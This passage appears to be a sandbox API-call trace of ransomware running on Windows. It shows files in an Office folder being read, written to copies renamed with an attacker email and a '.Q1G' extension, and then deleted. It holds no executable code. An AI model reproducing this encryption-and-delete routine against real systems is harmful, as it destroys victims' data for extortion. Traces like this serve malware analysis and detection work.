(lpString1=".7z", lpString2="DLL") returned -1 [0247.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.573] lstrlenW (lpString=".dbf") returned 4 [0247.573] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.573] lstrlenW (lpString=".1cd") returned 4 [0247.574] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0247.574] lstrlenW (lpString=".jpg") returned 4 [0247.574] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.574] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0247.574] lstrlenW (lpString="ContactPickerIntl.dll") returned 21 [0247.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0247.574] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=16256) returned 1 [0247.574] CloseHandle (hObject=0x338) returned 1 [0247.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll")) returned 0x20 [0247.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.575] lstrlenW (lpString=".doc") returned 4 [0247.575] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0247.575] lstrlenW (lpString=".docx") returned 5 [0247.575] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0247.575] lstrlenW (lpString=".pdf") returned 4 [0247.575] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0247.575] lstrlenW (lpString=".xls") returned 4 [0247.575] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0247.575] lstrlenW (lpString=".xlsx") returned 5 [0247.575] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0247.575] lstrlenW (lpString=".ppt") returned 4 [0247.575] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0247.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.575] lstrlenW (lpString=".zip") returned 4 [0247.575] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0247.575] lstrlenW (lpString=".rar") returned 4 [0247.575] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0247.575] lstrlenW (lpString=".bz2") returned 4 [0247.575] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0247.575] lstrlenW (lpString=".7z") returned 3 [0247.575] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0247.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.575] lstrlenW (lpString=".dbf") returned 4 [0247.575] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0247.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.575] lstrlenW (lpString=".1cd") returned 4 [0247.575] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0247.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.575] lstrlenW (lpString=".jpg") returned 4 [0247.575] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0247.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.576] lstrlenW (lpString=".doc") returned 4 [0247.576] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0247.576] lstrlenW (lpString=".docx") returned 5 [0247.576] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0247.576] lstrlenW (lpString=".pdf") returned 4 [0247.576] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0247.576] lstrlenW (lpString=".xls") returned 4 [0247.576] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0247.576] lstrlenW (lpString=".xlsx") returned 5 [0247.576] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0247.576] lstrlenW (lpString=".ppt") returned 4 [0247.576] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0247.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.576] lstrlenW (lpString=".zip") returned 4 [0247.576] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0247.576] lstrlenW (lpString=".rar") returned 4 [0247.576] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0247.576] lstrlenW (lpString=".bz2") returned 4 [0247.576] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0247.576] lstrlenW (lpString=".7z") returned 3 [0247.576] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0247.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.576] lstrlenW (lpString=".dbf") returned 4 [0247.576] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0247.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.576] lstrlenW (lpString=".1cd") returned 4 [0247.576] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0247.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0247.576] lstrlenW (lpString=".jpg") returned 4 [0247.576] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0247.576] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0247.576] lstrlenW (lpString="FOLDER.ICO") returned 10 [0247.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0247.579] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=4710) returned 1 [0247.579] CloseHandle (hObject=0x338) returned 1 [0247.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 0x20 [0247.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0247.579] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0247.579] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0247.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0247.580] GetLastError () returned 0x0 [0247.580] ReadFile (in: hFile=0x338, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x1266, lpOverlapped=0x0) returned 1 [0247.611] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x1270, lpOverlapped=0x0) returned 1 [0247.612] ReadFile (in: hFile=0x338, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0247.612] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0247.612] SetEndOfFile (hFile=0x3b0) returned 1 [0247.612] CloseHandle (hObject=0x3b0) returned 1 [0247.612] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0247.613] SetEndOfFile (hFile=0x338) returned 1 [0247.614] CloseHandle (hObject=0x338) returned 1 [0247.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 1 [0247.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.616] lstrlenW (lpString=".doc") returned 4 [0247.616] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0247.616] lstrlenW (lpString=".docx") returned 5 [0247.616] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0247.616] lstrlenW (lpString=".pdf") returned 4 [0247.616] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0247.616] lstrlenW (lpString=".xls") returned 4 [0247.616] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0247.616] lstrlenW (lpString=".xlsx") returned 5 [0247.616] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0247.616] lstrlenW (lpString=".ppt") returned 4 [0247.616] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0247.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.616] lstrlenW (lpString=".zip") returned 4 [0247.616] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0247.616] lstrlenW (lpString=".rar") returned 4 [0247.616] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0247.616] lstrlenW (lpString=".bz2") returned 4 [0247.616] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0247.616] lstrlenW (lpString=".7z") returned 3 [0247.616] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0247.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.616] lstrlenW (lpString=".dbf") returned 4 [0247.616] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0247.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.616] lstrlenW (lpString=".1cd") returned 4 [0247.616] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0247.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.616] lstrlenW (lpString=".jpg") returned 4 [0247.616] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0247.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.617] lstrlenW (lpString=".doc") returned 4 [0247.617] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0247.617] lstrlenW (lpString=".docx") returned 5 [0247.617] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0247.617] lstrlenW (lpString=".pdf") returned 4 [0247.617] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0247.617] lstrlenW (lpString=".xls") returned 4 [0247.617] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0247.617] lstrlenW (lpString=".xlsx") returned 5 [0247.617] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0247.617] lstrlenW (lpString=".ppt") returned 4 [0247.617] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0247.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.617] lstrlenW (lpString=".zip") returned 4 [0247.617] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0247.617] lstrlenW (lpString=".rar") returned 4 [0247.617] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0247.617] lstrlenW (lpString=".bz2") returned 4 [0247.617] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0247.617] lstrlenW (lpString=".7z") returned 3 [0247.617] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0247.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.617] lstrlenW (lpString=".dbf") returned 4 [0247.617] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0247.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.617] lstrlenW (lpString=".1cd") returned 4 [0247.617] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0247.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0247.617] lstrlenW (lpString=".jpg") returned 4 [0247.617] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0247.617] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0247.617] lstrlenW (lpString="DBWIZ.VSL") returned 9 [0247.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0247.903] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=164216) returned 1 [0247.903] CloseHandle (hObject=0x3b4) returned 1 [0247.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 0x20 [0247.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.003] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.003] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.003] GetLastError () returned 0x0 [0248.003] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x28178, lpOverlapped=0x0) returned 1 [0248.017] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x28180, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x28180, lpOverlapped=0x0) returned 1 [0248.021] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.021] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0248.021] SetEndOfFile (hFile=0x3b4) returned 1 [0248.021] CloseHandle (hObject=0x3b4) returned 1 [0248.021] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.021] SetEndOfFile (hFile=0x3bc) returned 1 [0248.025] CloseHandle (hObject=0x3bc) returned 1 [0248.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 1 [0248.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.026] lstrlenW (lpString=".doc") returned 4 [0248.026] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.026] lstrlenW (lpString=".docx") returned 5 [0248.026] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0248.026] lstrlenW (lpString=".pdf") returned 4 [0248.026] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.026] lstrlenW (lpString=".xls") returned 4 [0248.026] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.026] lstrlenW (lpString=".xlsx") returned 5 [0248.026] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0248.026] lstrlenW (lpString=".ppt") returned 4 [0248.026] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.026] lstrlenW (lpString=".zip") returned 4 [0248.026] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.026] lstrlenW (lpString=".rar") returned 4 [0248.026] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.026] lstrlenW (lpString=".bz2") returned 4 [0248.026] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.026] lstrlenW (lpString=".7z") returned 3 [0248.026] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.026] lstrlenW (lpString=".dbf") returned 4 [0248.026] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.026] lstrlenW (lpString=".1cd") returned 4 [0248.026] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.026] lstrlenW (lpString=".jpg") returned 4 [0248.026] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.027] lstrlenW (lpString=".doc") returned 4 [0248.027] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.027] lstrlenW (lpString=".docx") returned 5 [0248.027] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0248.027] lstrlenW (lpString=".pdf") returned 4 [0248.027] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.027] lstrlenW (lpString=".xls") returned 4 [0248.027] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.027] lstrlenW (lpString=".xlsx") returned 5 [0248.027] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0248.027] lstrlenW (lpString=".ppt") returned 4 [0248.027] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.027] lstrlenW (lpString=".zip") returned 4 [0248.027] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.027] lstrlenW (lpString=".rar") returned 4 [0248.027] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.027] lstrlenW (lpString=".bz2") returned 4 [0248.027] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.027] lstrlenW (lpString=".7z") returned 3 [0248.027] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.027] lstrlenW (lpString=".dbf") returned 4 [0248.027] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.027] lstrlenW (lpString=".1cd") returned 4 [0248.027] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0248.027] lstrlenW (lpString=".jpg") returned 4 [0248.027] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.028] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0248.028] lstrlenW (lpString="EAWFINTL.DLL") returned 12 [0248.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.028] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=51600) returned 1 [0248.028] CloseHandle (hObject=0x3bc) returned 1 [0248.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll")) returned 0x20 [0248.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.029] lstrlenW (lpString=".doc") returned 4 [0248.029] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.029] lstrlenW (lpString=".docx") returned 5 [0248.029] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0248.029] lstrlenW (lpString=".pdf") returned 4 [0248.029] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.029] lstrlenW (lpString=".xls") returned 4 [0248.029] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.029] lstrlenW (lpString=".xlsx") returned 5 [0248.029] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0248.029] lstrlenW (lpString=".ppt") returned 4 [0248.029] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0248.029] lstrlenW (lpString=".zip") returned 4 [0248.029] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.029] lstrlenW (lpString=".rar") returned 4 [0248.029] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.029] lstrlenW (lpString=".bz2") returned 4 [0248.029] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.029] lstrlenW (lpString=".7z") returned 3 [0248.029] lstrcmpiW (lpString1=".7z", 